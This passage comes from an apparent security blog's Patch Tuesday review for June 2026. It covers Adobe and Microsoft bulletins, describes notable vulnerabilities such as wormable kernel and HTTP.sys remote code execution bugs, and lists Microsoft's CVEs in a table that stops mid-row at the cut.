    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
